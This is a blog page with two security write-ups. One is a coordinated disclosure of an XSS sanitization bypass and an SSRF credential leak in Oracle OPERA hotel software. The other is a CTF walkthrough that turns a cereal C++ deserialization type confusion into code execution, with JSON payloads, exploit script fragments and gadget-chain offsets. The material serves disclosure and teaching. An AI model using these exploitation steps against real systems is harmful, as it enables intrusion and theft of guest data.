TrebledJ's Pages

When Hospitality Software is Too Hospitable (CVE-2026-21966, CVE-2026-21967)

2026-02-13T00:00:00Z

Last autumn, as a typhoon hammered against the hotel windows, I found myself locked into a different kind of storm— a pentest that refused to stay routine. What began as a run-of-the-mill exercise quickly spiralled into yet another thrilling adventure of vulnerability disclosure. This writeup walks through my discovery of a Cross-Site Scripting (XSS) sanitization bypass and a powerful Server-Side Request Forgery (SSRF) vulnerability in Oracle’s OPERA product.

Overview

CVE-2026-21966 – Reflected XSS in Oracle OPERA
- CVSS v4.0: 5.1 / medium / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- Description: A reflected cross-site scripting (XSS) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4, 5.6.28.0. Attackers can leverage the vulnerability to deliver social engineering attacks and execute client-side code in the victim’s browser.
CVE-2026-21967 – SSRF and Credential Disclosure in Oracle OPERA
- CVSS v4.0: 8.7 / high / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L
- Description: A server-side request forgery (SSRF) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4, 5.6.28.0. Attackers can leverage the vulnerability to disclose database credentials, invoke POST requests on arbitrary URLs, and enumerate internal networks. The compromised database accounts are used by the OPERA system for business operations and are thus configured with read/write privileges. This may lead to further disclosure of personally-identifiable information (PII) or disruption of business operations if the attacker has access to the database port.

Globally, we observed over 500 Internet-facing Oracle OPERA instances.

Background

Oracle Hospitality OPERA 5 is a Property Management System (PMS) for hotels and resorts, managing core operations like check-ins, reservations, and room allocation — while also offering tools for sales, catering, revenue management, and guest personalization. As such, you would not be surprised to see hotel receptionists and customer support at large chains using this software to handle their everyday operations.

Our testing workstation was a registered OPERA Terminal accessed through a browser. Once login is completed and a tool is selected from the menu, a Java applet pops up.

^{Figure 1. Sample OPERA login interface.}

CVE-2026-21966: Reflected XSS and Sanitization Bypass

The Road to XSS

In OPERA, HTTP requests are handled by Java servlets, which are classes with doGet and/or doPost methods. Inside OperaLogin.war, we discovered the OperaPrint servlet which accepts GET requests via a doGet method.

public void doGet(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException {
  // [...]
  try {
    String execute = Utility.sanitizeParameter(request.getParameter("ex"));
    // [...]
    if (execute.equals("INIT")) {
      initPrint(request, response, /* ... */);
    }
  } catch (Exception e) {
    logException(e, replog, appServerStr);
  }
}

^{Listing 2. This Java servlet handles a GET request and accepts an ex parameter.}

By following the taint trail, we see the request query (attacker-controlled data!) is concatenated with other HTML strings and embedded in the HTTP response, wrapped with single quotes.

private void initPrint(
  HttpServletRequest request,
  HttpServletResponse response, /* ... */)
  throws IOException {
  // [...]
  String newquery = setParam(
    Utility.sanitizeParameterString(request.getQueryString()),
    "ex",
    "START");
  // [...]
  String newurl = "/OperaLogin/OperaPrint?" + newquery;
  // [...]
  response.setContentType("text/html;charset=UTF-8");
  PrintWriter out = response.getWriter();
  out.println("<!DOCTYPE html ...>");
  out.println("<html>");
  out.println("<head>");
  out.println("...");
  out.println("</head>");
  // [...]
  out.println("<body onload=\"InitPrint( '" + newurl + "' , '" + winname + "' )\"/>");
  out.println("</html>");
  out.close();
}

^{Listing 3. The URL query is reused and concatenated into HTML output.}

This provides a trail for reflected XSS. However, the astute would notice that the code sanitizes user input using Utility.sanitizeParameterString. This may be enough to throw some people off, but let’s Try Harder™. What does this function actually do? Can you spot the flaw below? (Please say yes.)

public static String sanitizeParameterString(String ret) {
  if (JavaUtils.isNullOrEmpty(new String[] { ret }))
    return ret; 
  String openTag = "=";
  String closeTag = "&";
  boolean flagProcessing = true;
  int currentTagPosition = 0;
  if (ret != null && ret.length() > 0) {
    while (flagProcessing) {
      int openTagPosition = ret.toLowerCase().indexOf("=", currentTagPosition);
      int closeTagPosition = ret.toLowerCase()
        .indexOf("&", openTagPosition + "=".length());
      if (openTagPosition != -1) {
        String param;
        SanitationMessage<String> sMessage = new SanitationMessage<String>("");
        if (closeTagPosition != -1) {
          param = _sanitizeParameter(
            ret.substring(openTagPosition + "=".length(), closeTagPosition),
            sMessage
          );
        } else {
          param = _sanitizeParameter(
            ret.substring(openTagPosition + "=".length()),
            sMessage
          );
        } 
        currentTagPosition = openTagPosition + "=".length() + param.length();
        if (closeTagPosition != -1) {
          ret = ret.substring(0, openTagPosition + "=".length())
                + param
                + ret.substring(closeTagPosition);
          continue;
        } 
        ret = ret.substring(0, openTagPosition + "=".length()) + param;
        continue;
      } 
      flagProcessing = false;
    }
  }
  return ret;
}

Notice in lines 901 and 906 that _sanitizeParameter is called on a substring. However, the string is extracted starting from the equal sign (=), up to the next ampersand (&; closeTagPosition) or until the end of the string (if closeTagPosition is not found). In other words, only the parameter value is extracted for sanitization. The parameter name is not sanitized.

This means the sanitization function could be bypassed using a query parameter such as /path?'name=value.

(Un)Fortunately, while such a payload may succeed on older or lesser-known browsers, it fails to bypass modern browser filters, which will automatically URL-encode the single quote ' to %27 before firing the HTTP request.

Despite this roadblock, we were able to bypass the sanitization function and browser protection with an alternative method.

A More Robust Sanitization Bypass

We used another trick, which is to use a HTML-entity ' instead of the single-quote literal. Normally, this trick would not work if the payload was reflected inside <script> tags. But in the context of a HTML attribute such as onload="...", the ' entity is treated as a literal quote, allowing us to escape the string context and run arbitrary JavaScript from the browser.

^BOOM

CVE-2026-21967: SSRF and Credential Disclosure

An SSRF is a vulnerability where an attacker tricks a web application into making unauthorized, unintended, or forged requests to internal or external resources. Attackers may exploit SSRFs to call privileged endpoints or exfiltrate sensitive data placed in cookies, headers, and parameters.

By reviewing yet another Java servlet (OperaServlet), we discovered a parameter named urladdress. This by itself is a huge code smell.

public void doPost(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException, UnsupportedEncodingException {
  PrintWriter out = response.getWriter();
  // [...]
  cmd = Utility.sanitizeParameter(request.getParameter("cmd"));
  urladdr = Utility.sanitizeParameter(request.getParameter("urladdress"));
  // [...]
  userid = StringValue[0];
  // [...]
  if (cmd.equalsIgnoreCase("runreport")) {
    callreport(userid, /* ... */, urladdr, out);
  }
}

^{Listing 4. Servlet contains a urladdress parameter.}

Following the taint trail, we arrived at the callreport function. This function opens a URL connection to the urladdress parameter seen earlier, sends parameters (including something labelled userid), and returns any data received.

private void callreport(
  String userid, /* ... */
  String urladdress, PrintWriter out) {
  DataOutputStream outstr = null;
  BufferedReader in = null;
  try {
    urlparams = "userid=" + userid + /* ... */;
    String myAddress = urladdress;
    URL myUrl = new URL(myAddress);
    URLConnection con = myUrl.openConnection();
    con.setDoInput(true);
    con.setDoOutput(true);
    con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    outstr = new DataOutputStream(con.getOutputStream());
    outstr.writeBytes(urlparams);
    outstr.flush();
    outstr.close();
    in = new BufferedReader(new InputStreamReader(con.getInputStream()));
    String inputLine;
    while ((inputLine = in.readLine()) != null)
      out.println(inputLine);
    in.close();
  } catch (Exception e) {
    e.printStackTrace();
  } finally {
    // [...]
  } 
}

We were able to confirm the SSRF vulnerability by testing on a local port with netcat listening, then confirmed remote exploitability using an online webhook service. Notably, we found that plaintext database credentials could be disclosed when a specific parameter is provided.

^{Figure 5. Left: Attacker-controlled server which receives the SSRF request. Credentials are disclosed in the dbuser/dbpswd@dbschema format. Such hospitality! Right: The crafted request was sent through curl.}

^{Figure 6. Same demonstration but using an online webhook site to demonstrate the remote nature and exploitability.}

In addition to demonstrating remote exploitability, Figure 6 also shows that the HTTP response from the target server (in this case, webhook[.]site) is reflected. An attacker can abuse this to disclose information on subsequent systems.

^{Figure 7. We were able to enumerate and login to the database server using sqlplus.}

We verified these credentials by enumerating the OPERA database host and connecting with sqlplus, an SQL client for Oracle Database. A few seconds later, we’re in!

Inside the database, it was possible to view room allocations, customer names, and emails, among other details.

Impact

CVE-2026-21966: Reflected XSS

Attackers can induce victims to run arbitrary client-side JavaScript, compromising confidentiality and integrity of the victims’ browser session. Attackers can exploit this to proxy through the victim’s browser and potentially perform authenticated requests to Oracle OPERA or other systems on behalf of the victim. This may allow attackers to establish a foothold on the internal network through a social engineering attack.

CVE-2026-21967: SSRF and Credential Disclosure

We have identified multiple impacts for CVE-2026-21967:

Credential Disclosure; Potential Database Access and Customer Information Disclosure. Most concerningly, successful exploitation could lead to the disclosure of database credentials which are used by OPERA for business operations, enabling unauthorized read/write access to the database and password spraying of the corporate network.
POST Request SSRF. By convention, POST requests are used to modify, create, or delete data. In general, they are used to perform more complex tasks compared to GET requests. An SSRF with the capability to send POST requests tends to be more dangerous as it may trigger these complex behaviors, which potentially include disrupting subsequent systems, modifying application data, or exploiting other vulnerabilities.
Social-Engineering Attacks. Since the HTTP output is attacker controllable, it is possible to deliver arbitrary HTML. Attackers can abuse the trust of an OPERA domain to deliver malicious payloads which run in a victim’s browser.
Enumerate Internal Network. An attacker can enumerate the internal network by port scanning or observing the HTTP response, which is reflected from the subsequent system. (This is your typical SSRF impact.) Figure 8 shows the enumeration of common Windows ports (135, 3389) in addition to various Oracle ports.

^{Figure 8. Sample impact: enumerate ports on the localhost machine.}

Proof of Concept, Detection, and Remediations

This post primarily mirrors the writeup and disclosure portion of CVE-2026-21966 and CVE-2026-21967. For defensive measures, check out the main post on the DarkLab blog where we share remediations, a happy little YARA rule, tips on identifying your Opera version, and further contact points in case you're sweating buckets after seeing these bugs and need someone to talk to.

Timeline

Sept. 19, 2025. Discovered first issue (Reflected XSS, now tracked as CVE-2026-21966).
Oct. 12, 2025. Discovered second issue (SSRF and Credential Disclosure, now tracked as CVE-2026-21967).
Oct. 20, 2025. Vulnerability report sent to Oracle Security Alerts.
Jan. 15, 2026. Pre-release announcement by Oracle.
Jan. 20, 2026. Public disclosure by Oracle.
Feb. 13, 2026. Technical writeup and disclosure by PwC DarkLab HK.

Acknowledgements

Special thanks to the Oracle Security Alerts team for coordinated disclosure. For more information about recent vulnerabilities affecting Oracle Hospitality, please read the advisory published by Oracle: https://www.oracle.com/security-alerts/cpujan2026.html.

Additionally, I would like to thank my team at PwC DarkLab for their valuable support and advice.

Sharing is Caring: Arbitrary Code Execution for Breakfast

2025-10-03T00:00:00Z

Breakfast is a CTF challenge I designed for CrewCTF 2025. With deserialization attacks being in vogue, I wanted to explore the topic in C++ and as a result, found an interesting niche bug in the cereal library. In this writeup, we'll revisit C++ internals and explore binary exploitation techniques beyond ROP. We’ll learn how even a properly written C++ program could be vulnerable to remote code execution through insecure deserialization.

In a future post, I will share a more detailed writeup on the research. But for now, let's have fun and focus on the challenge. :)

The Challenge

The CTF has ended, but the binaries are public! If you want to try solving it or want to follow along, you can grab the challenge distribution pack here!

Name: Breakfast
Solves: 11
Difficulty: Easy-Medium?
Description:

They say breakfast is the most important meal of the day. But sometimes you just need milk to avoid Confusing your favourite Type of cereal…

The code is short, but don't let that fool you. A lot of complexity is abstracted away by the cereal library.

#include <cereal/archives/json.hpp>
#include <cereal/types/memory.hpp>
#include <cereal/types/string.hpp>
#include <iostream>
#include <memory>
#include <sstream>
#include <string>

struct Congee
{
    uint64_t ingredients[8];
    
    template <class Archive>
    void serialize(Archive& ar) { ar(CEREAL_NVP(ingredients)); }

    friend std::ostream& operator<<(std::ostream& os, const Congee& c) {
        for (auto i = 0; i < std::size(c.ingredients); i++)
            os << (i == 0 ? "" : " ") << c.ingredients[i];
        return os;
    }
};

struct Toast
{
    uint64_t spread;

    Toast(uint64_t spread = 0) : spread{spread} {}
    virtual void eat() { std::cout << "Mmm- crunchy!" << std::endl; }

    template <class Archive>
    void serialize(Archive& ar) { ar(CEREAL_NVP(spread)); }

    friend std::ostream& operator<<(std::ostream& os, const Toast& t) { return os << t.spread; }
};

struct Fruit
{
    std::string name;
    
    template <class Archive>
    void serialize(Archive& ar) { ar(CEREAL_NVP(name)); }
    
    friend std::ostream& operator<<(std::ostream& os, const Fruit& e) { return os << e.name;  }
};

int main(int argc, char**)
{
    std::cout << "Gonna pop to the store to buy some milk for breakfast.\n";
    std::cout << "Keep this data safe for me while I'm gone, alright?\n\n";

    std::stringstream ss;

    {
        cereal::JSONOutputArchive archive(ss, cereal::JSONOutputArchive::Options::NoIndent());
        std::shared_ptr<Congee> c = std::make_shared<Congee>();
        std::shared_ptr<Toast> t = std::make_shared<Toast>(Toast{42});
        std::shared_ptr<Fruit> f = std::make_shared<Fruit>(Fruit{"Apple"});
        archive(c, t, f);
    }
    std::string s = ss.str();
    s.erase(std::remove(s.begin(), s.end(), '\n'), s.end());
    std::cout << s << "\n\n";

    do
    {
        std::cout << "Remind me of the data again? ";
        std::string input;
        std::getline(std::cin, input);

        std::stringstream ss(input);
        cereal::JSONInputArchive archive(ss);

        std::shared_ptr<Congee> c;
        std::shared_ptr<Toast> t;
        std::shared_ptr<Fruit> f;
        archive(c, t, f);
        std::cout << "\nc: " << *c << std::endl;
        std::cout << "t: " << *t << std::endl;
        std::cout << "f: " << *f << std::endl;
        t->eat();
    } while (1);
}

The code first outputs the serialization of three types: Congee, Toast, and Fruit. Then it enters a loop which deserializes input and prints the deserialized values.

Running it in the terminal:

./breakfast
Gonna pop to the store to buy some milk for breakfast.
Keep this data safe for me while I'm gone, alright?

{"value0": {"ptr_wrapper": {"id": 2147483649,"data": {"ingredients": {"value0": 0,"value1": 0,"value2": 0,"value3": 0,"value4": 0,"value5": 0,"value6": 0,"value7": 0}}}},"value1": {"polymorphic_id": 1073741824,"ptr_wrapper": {"id": 2147483650,"data": {"spread": 42}}},"value2": {"ptr_wrapper": {"id": 2147483651,"data": {"name": "Apple"}}}}

Remind me of the data again?

C++ Internals Redux

To better understand the program and how the exploitation works, let's review some C++!

If you're familiar, you may want to skip ahead to the analysis.

What are shared pointers?

Shared pointers (std::shared_ptr) are smart pointers in C++ that enable multiple pointers to manage the lifetime of a single object. They use reference counting to track how many shared pointers point to the same dynamically allocated resource. The object is automatically deleted when the last remaining shared_ptr pointing to it is destroyed or reset. This provides automatic memory management while allowing shared ownership.

Key Point for Exploitation: Multiple shared pointers may share a single object. This often complicates serialization, and may lead to bugs if improperly implemented.

Example:

#include <iostream>
#include <memory>

class Resource {
public:
    Resource() { std::cout << "Resource acquired\n"; }
    ~Resource() { std::cout << "Resource destroyed\n"; }
    void use() { std::cout << "Resource used\n"; }
};

int main() {
    // Create a shared_ptr that manages a new Resource
    std::shared_ptr<Resource> ptr1 = std::make_shared<Resource>();
    
    {
        // Create another shared_ptr that shares ownership
        std::shared_ptr<Resource> ptr2 = ptr1;
        
        std::cout << "Inside inner scope - ";
        ptr2->use(); // Both pointers can use the resource
        
        // ptr2 will be destroyed here, but resource remains
    }
    
    std::cout << "Outside inner scope - ";
    ptr1->use(); // ptr1 still keeps the resource alive
    
    // ptr1 destroyed here → reference count reaches 0 → resource destroyed
    return 0;
}

Output:

Resource acquired
Inside inner scope - Resource used
Outside inner scope - Resource used
Resource destroyed

What are virtual tables?

A vtable (virtual table) is the mechanism that enables runtime polymorphism in C++.

Each virtual class (any class containing virtual functions) has one corresponding virtual table (vtable).

^{Example of how virtual classes, vtables, and overriding virtual functions is implemented. Credit: Pablo Arias}
The vtable stores an array of virtual functions.
Each object of a virtual class holds a virtual pointer (vpointer) which points to the vtable they are instantiated with. The vpointer is a “hidden first member” and precedes other members.

When a virtual function is called, dynamic dispatch is carried out by looking up the vtable then jumping to a function at a hard-coded offset. In assembly, this could be seen as a double dereference.

; precondition: rax contains the address of the object
mov    rdx,QWORD PTR [rax] ; first dereference (get VTable)
mov    rdx,QWORD PTR [rdx+0] ; second dereference (get function inside VTable)
call   rdx                 ; call the function

For further reading, I recommend checking out: Understanding Virtual Tables in C++ by Pablo Arias and this StackOverflow Q&A.

Key Points for Exploitation: 1) If an attacker controls the vpointer, they can hijack control flow. 2) The vpointer is the first member of any object of a virtual class.

What is an `std::string`?

We all know what a string is in programming, but what does C++'s std::string look like?

If we dig into the source code, we see the (GCC) implementation is roughly equivalent to:

template <class CharT>
struct basic_string {
    CharT* buffer;
  	size_t size; // size_t == uint64_t on 64-bit systems.
    size_t capacity;
};
using string = basic_string<char>;

Ignoring short-string optimisation and other factors, an std::string simply consists of three members: the buffer (a pointer to the actual characters), the size, and the capacity of the dynamically allocated memory.

This allows for a growable string, suitable for dynamic operations such as append, replace, and remove.

Key Point for Exploitation: If we control buffer and can observe the string, we can achieve arbitrary memory read.

Analysis

Initial Analysis

First step: Understanding what we have, aka enumeration. What protections are in place? What attack primitives are available?

Protections are typically easy to check. Running checksec, we see NX is enabled, which means shellcode is out of the question. PIE and, by default, ASLR are also enabled, so we'll want some kind of address leak to do anything useful.

Looking at the code, we see 3 classes deserialized.

struct Congee
{
    uint64_t ingredients[8];
};

struct Toast
{
    uint64_t spread;
    virtual void eat() { /* ... */ }
};

struct Fruit
{
    std::string name;
};

// ...

std::cout << "Remind me of the data again? ";
std::string input;
std::getline(std::cin, input); // Read input

std::stringstream ss(input);
cereal::JSONInputArchive archive(ss);

std::shared_ptr<Congee> c;
std::shared_ptr<Toast> t;
std::shared_ptr<Fruit> f;
archive(c, t, f); // Deserialization happens here!
std::cout << "\nc: " << *c << std::endl;
std::cout << "t: " << *t << std::endl;
std::cout << "f: " << *f << std::endl;
t->eat();

Cereal supports serialization of std::shared_ptr. But how are shared references handled?

Cereal's JSON format uses an id key for shared pointers. If id is greater than 2 << 30 (2147483648), then the object is new and memory should be allocated for it. Otherwise, the object was seen before and the old std::shared_ptr should be copied.

For instance, here's a sample JSON cereal-isation containing shared references:

[
	{"ptr_wrapper": {"id": 2147483649, "data": "..." } },
	{"ptr_wrapper": {"id": 2147483650, "data": "..." } },
	{"ptr_wrapper": {"id": 1} },
	{"ptr_wrapper": {"id": 2} }
]

In the above code example, 2147483649 and 2147483650 refer to new objects with ID 1 and 2. Memory is dynamically allocated, and object data is deserialized. Afterwards, the deserializer encounters "id": 1 which refers to the first object. No new data is deserialized, and the first std::shared_ptr is copied.

We've figured out how Cereal handles shared references, but how can we apply it to the challenge?

Well, what if we force a shared reference, even if the deserialized types are different?

Type Confusion Primitives

It turns out Cereal does not perform type checking on shared pointers. If the deserialization handles multiple types, we can abuse it for type confusion!

I'll share a deep-dive into the type confusion primitives in a future post. For now, it suffices to understand what primitives are available in this challenge and how to achieve those primitives.

Here are the types again, for reference:

struct Congee {
    uint64_t ingredients[8];
};
struct Toast {
    // uint64_t vptr; // <-- implicit vpointer member due to the virtual function
    uint64_t spread;
    virtual void eat() { /* ... */ }
};
struct Fruit {
    std::string name;
};

And the primitives available:

If we deserialize a...	followed by a...	we get...	because we...
Toast	Fruit	Address Leak (ASLR Bypass)	leak the vtable
Congee	Fruit	Arbitrary Memory Read	control string internals
Congee	Toast	Control Flow Hijacking	control the vpointer

If the table doesn't make sense, perhaps this diagram demonstrating an address leak will help:

The program thinks the memory at 0x4000 is a Fruit, but surprise!— it's actually a Toast. When Fruit::name is printed, what's actually printed is the vtable entry of Toast.

Together, these primitives are enough to obtain arbitrary code execution!

Exploitation

Great, we've found the chink in the armor. Now let's draft a plan of attack.

Leak the VTable address. (Toast → Fruit) We can use this to calculate the base address of the binary and offsets to other locations (e.g. GOT entries). This will be useful to bypass ASLR/PIE.
Leak a libc/libcpp address. (Congee → Fruit) This allows us to calculate offsets to gadgets.
Find a heap address. (Congee → Fruit) We'll need this address for the next step.
Hijack control flow to point to a crafted gadget chain. (Congee → Toast) We'll use the 64 bytes available in Congee to plant a fake vtable containing a gadget chain. When the virtual function is called, the chain is triggered.

Leaking the VTable

Leaking the vtable is rather straightforward. We simply set the id of the Fruit object to refer to the Toast object. But wait— since Fruit is a string, we should make sure the size is non-zero. Luckily, we can control the size using the spread parameter.

To recap, by type-confusing Fruit and controlling spread, we map Toast's vpointer to Fruit's string buffer and Toast's spread parameter to Fruit's string size.

{
    "value0": { // Congee (unused this time)
        "ptr_wrapper": {
            "id": 2147483649, // id = 1
            "data": {
                "ingredients": {
                    // ...
                }
            }
        }
    },
    "value1": { // Toast
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 2147483650, // id = 2
            "data": {
                "spread": 8 // Control the size of the fake string
            }
        }
    },
    "value2": { // Fruit
        "ptr_wrapper": {
            "id": 2 // Refer to the Toast object
        }
    }
}

When deserialized, t and f share the same object. When *f is printed, it will dereference the string buffer (vpointer) and print the first entry of the vtable, which is Toast::eat.

archive(c, t, f); // Deserialization happens here
std::cout << "\nc: " << *c << std::endl;
std::cout << "t: " << *t << std::endl;
std::cout << "f: " << *f << std::endl; // Vtable address leaked

We can do a quick PoC with xxd, which allows us to view nonprintable bytes. By changing the initial JSON's value1.ptr_wrapper.data.spread and value2.ptr_wrapper.id fields, we can induce the binary to spit out 8 weird bytes, which happen to be an address leak of 0x560864bd50c2! (Hint: It's in little endian, so read the leaked number backwards.)

Going Deeper

The PoC was successful. But what if things didn’t go as planned? To debug at a lower level, we can open gdb/gef/pwndbg and break after the deserialization step.

By printing t and f, we see that they share the same object.

(Note: If an image ever looks too small, try clicking and zooming in on it.)

Arbitrary Memory Read!

Now that we have an address from the binary, we can continue on our warpath by leaking a libc address. We’ll use the Congee → Fruit primitive which allows control over the properties of an std::string and grants us arbitrary memory read!

{
    "value0": { // Congee
        "ptr_wrapper": {
            "id": 2147483649, // id = 1
            "data": {
                "ingredients": {
                    "value0": %d, // Control the string buffer
                    "value1": %d, // Control the string size
                    "value2": %d, // Control the string capacity (optional)
                    "value3": 0,
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": { // Toast (unused this time)
        // ...
    },
    "value2": { // Fruit
        "ptr_wrapper": {
            "id": 1 // Refer to Congee object
        }
    }
}

We'll use the GOT entry of malloc as the string buffer. GOT entries are a fixed relative offset in the binary, so we can calculate it using our earlier vtable leak. When the string is printed, the GOT entry will be dereferenced and the address of malloc printed.

got_malloc = vtable_addr - e.sym['_ZN5Toast3eatEv'] + e.got['malloc']
bytes_ = send_json(mem_read_json % (got_malloc, 8, 32)) # % (buffer, size, capacity)
malloc_addr = u64(bytes_)
libc_base = malloc_addr - libc.sym['malloc']

Finding the Heap Address

Why do we need a heap address?

During the final stage of type confusion, we will be controlling a malicious vpointer (not the vtable!). To actually get control flow hijacking, we want the vpointer to point to a vtable, which will be our custom-crafted payload placed among the 7 remaining quadwords of Congee. Thus, we need a heap address to the chunk where Congee will be allocated.

_(collapse)

To get a heap address leak, we can use the same memory read primitive and target an address which contains a heap address. There are several approaches.

One way is to obtain the main arena, which can be found from libc offset +0x203ac0. This then necessitates a convoluted hunt for heap addresses through a sea of indirection.

main_arena_offset = 0x203ac0
main_arena_bins_offset = main_arena_offset + (0xb30 - 0xac0)
main_arena_bins_size = 0x7f0
bytes_ = send_json(mem_read_json % (libc_base + main_arena_bins_offset, main_arena_bins_size, main_arena_bins_size))
# More convoluted parsing...

Alternatively, a simpler method I observed from submissions is to take advantage of the cereal::base64::chars string declared globally in the binary.

namespace cereal
{
  namespace base64
  {
    static const std::string chars =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
      "abcdefghijklmnopqrstuvwxyz"
      "0123456789+/";

By reading from this memory, we can leak the heap-allocated buffer of cereal::base64::chars.

base64_chars_addr = vtable_addr + e.sym['_ZN6cereal6base64L5charsE'] - e.sym['_ZN5Toast3eatEv']
bytes_ = send_json(mem_read_json % (base64_chars_addr, 8, 32))
heap_addr = u64(bytes_)

For the sake of simplicity, we'll stick with the cereal::base64::chars method.

Finding Congee's Address

By observation, Congee’s address remains unchanged between iterations. This means if we know the address of Congee this iteration, we can reuse that address next iteration.

Interestingly, the offset of c from the heap's base address is constant, and we can calculate it to be +0x131c0… at least locally.

Finding Congee's Address: Less Hacky Method

Perhaps that seems too hacky or inelegant to some. What if the offset was random? That would likely be the case in a more complex C++ program, one with heaps of memory allocation and deallocation. In that case, I offer an alternative approach.

We can use the bytes in Congee to store a canary/needle— some kind of fixed string or pattern. Using our leaked heap address as a reference, we'll perform a giant memory read (e.g. 0x1000 bytes) and look for the needle.

In the following code, we'll look for the fixed pattern ABCD (0x41424344) in Congee.

# Find a heap address
base64_chars_addr = vtable_addr + e.sym['_ZN6cereal6base64L5charsE'] - e.sym['_ZN5Toast3eatEv']
bytes_ = send_json(mem_read_json % (base64_chars_addr, 8, 32))
heap_addr = u64(bytes_)
print(f'{heap_addr=:#x}')

# Find the Congee chunk
length, needle = 0x1000, 0x41424344
bytes_ = send_json(mem_read_json % (heap_addr, length, needle))
assert len(bytes_) == length, f'expected to read {length} bytes'
assert p64(needle) in bytes_, 'unable to find needle in the haystack, maybe try a larger search length?'
found_addr = heap_addr + bytes_.index(p64(needle)) - 16
print(f'FOUND THE CONGEE CHUNK! - {found_addr=:#x}')

Arbitrary Code Execution (ACE) via Gadget Chains

We finally have enough information to get code execution! To do so, we will construct a gadget chain in Congee and craft the payload such that the virtual function call t->eat() will trigger the chain.

^{1) When toast->eat() is called, the vtable is looked up. Due to type confusion, it actually uses a vpointer we control. 2) We control the vpointer to point to a vtable within the same Congee payload. The vtable contains a gadget which is called.}

Essentially, by controlling the vpointer and vtable, we control the virtual function being called. But how do we craft a malicious function? The answer lies in gadgets.

PCOP / JOP

Classic ROP gadgets end in ret. Upon hitting the ret, the Instruction Pointer is set to the next item on the stack. Hence, gadgets could be chained by writing a block of memory to the stack.

PCOP/JOP is similar, but end in different instructions.

PCOP (Pure Call Oriented Programming): ends in call SOMETHING which directly jumps to the next gadget
JOP (Jump Oriented Programming): ends in a jmp/call which jumps to a dispatcher, before jumping into a table of gadgets. The dispatcher's job is to increment a "gadget pointer" before jumping to the next gadget. ¹
```
dispatch:
  add rax, 8
  jmp [rax]
```
Assembly

The advantage of PCOP/JOP is that they don't rely on the stack, preferring instructions such as mov and call over stack-based instructions such as pop and ret.

ROP Gadget: pop rax; ret.
PCOP/JOP Gadget: mov rax, [rdi+8]; call [rax+0x10]

Approach 1: libstdc++ & One-Gadget

Funnily enough, this was the first working solution I came up with— and it's also the shortest payload I've seen so far (4 quads!).

A One-Gadget is a gadget which pops a shell if certain conditions are met. We can find these gadgets using the one_gadget tool.

one_gadget -f /usr/lib/x86_64-linux-gnu/libc.so.6
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

Looks like we found 4 one-gadgets. Each gadget lists the offset along with the constraints required to successfully trigger a shell. But to satisfy the constraints, we should first understand the state of the registers at the moment the virtual function is called. This calls for some breakpoints!

^{Disassembly and registers upon reaching Toast::eat(), reachable via b *main+1121; si.}

By navigating to Toast::eat(), we notice the following interesting register states:

rax == rdi: non-controllable, address of virtual object (&*t)
rdx: controllable, first address to jump to
rsi == r13 == 0

Our attention then turns to fulfilling the one-gadget constraints. I decided to look for gadgets supporting the third one-gadget (offset 0xef4ce) due to the relatively simple conditions: we just need rbx = r12 = 0. We can hunt for gadgets with tools such as ROPgadget or xgadget. The gadgets we're looking for should:

Overwrite (or provide some control over) the desired registers.
The call instruction of each gadget should jump to a controllable location, such as an offset within Congee— call [rax+0x10].
We should also exclude gadgets relying on the stack. This means any gadget containing pop, leave, and ret.²

^{Output of xgadget --reg-overwrite r12 --jop /usr/lib/x86_64-linux-gnu/libstdc++.so.6. We found a useful mov r12, rsi gadget which sets r12 to 0. Additionally, the gadget will go to [rax+0x10] meaning we can place another gadget at the +0x10 offset to continue the chain.}

After a while, we ended up with two simple gadgets from libstdc++. Constructing the final payload is simply a matter of cooking congee with the right ingredients:

{
    "value0": { // Congee
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": %d, // Control the vpointer
                    "value1": %d, // Rest of the payload, gadgets, etc...
                    "value2": %d, // ...
                    "value3": %d, // ...
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": { // Toast
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 1 // Refer to the Congee object
        }
    },
    "value2": { // Fruit (unused)
        // ...
    }
}

Congee Ingredients:

Offset	Value	Purpose
`0x00`	address of Congee + `0x08`	vpointer, points to offset `0x08`
`0x08`	`libstdcpp + 0xf0a0c`	first gadget, `mov r12, rsi; call qword ptr [rax+0x10];`
`0x10`	`libstdcpp + 0xf5e83`	second gadget, `mov rbx, rsi; ... call qword ptr [rax+0x18];`
`0x18`	`libc + 0xef4ce`	one-gadget, sweet sweet code execution!

The gadget flow is extremely straightforward:

VTable is at Congee address + 0x08 →
gadget at 0x08 (set r12 to 0) →
gadget at 0x10 (set rbx to 0) →
gadget at 0x18 (one-gadget ACE).

Putting it all together, we get ACE.

